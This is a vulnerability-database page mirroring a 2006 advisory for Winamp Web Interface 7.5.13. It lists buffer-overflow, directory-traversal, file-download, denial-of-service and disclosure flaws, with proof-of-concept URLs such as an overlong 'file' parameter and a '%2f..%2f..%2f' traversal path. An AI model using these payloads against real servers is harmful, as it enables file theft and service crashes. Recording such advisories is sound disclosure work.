Winamp Web interface 7.5.13 - Multiple Vulnerabilities

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1056106 漏洞类型
发布时间 2006-12-11 更新时间 2006-12-11
CVE编号 N/A CNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/29277
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/21539/info

Winamp Web Interface is prone to multiple remote vulnerabilities. These issues include:

- Buffer-overflow issues
- A directory-traversal issue
- An arbitrary file-download issue
- A denial-of-service issue
- An information-disclosure issue 

An attacker can exploit thse issues to execute arbitrary code within the context of the affected application, crash the affected application, deny service to legitimate users, download arbitrary files, and obtain sensitive information. Other attacks are also possible. 

Winamp Web Interface 7.5.13 and prior versions are vulnerable to these issues.

Buffer-overflow vulnerabilities:
http://www.example.com/browse then insert an username longer than 100 chars
http://www.example.com/dl?file=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Directory-traversal:
http://www.example.com/browse?path=%2f..%2f..%2f

Arbitrary file-download vulnerability: 
http://www.example.com/dl?file=\file.txt.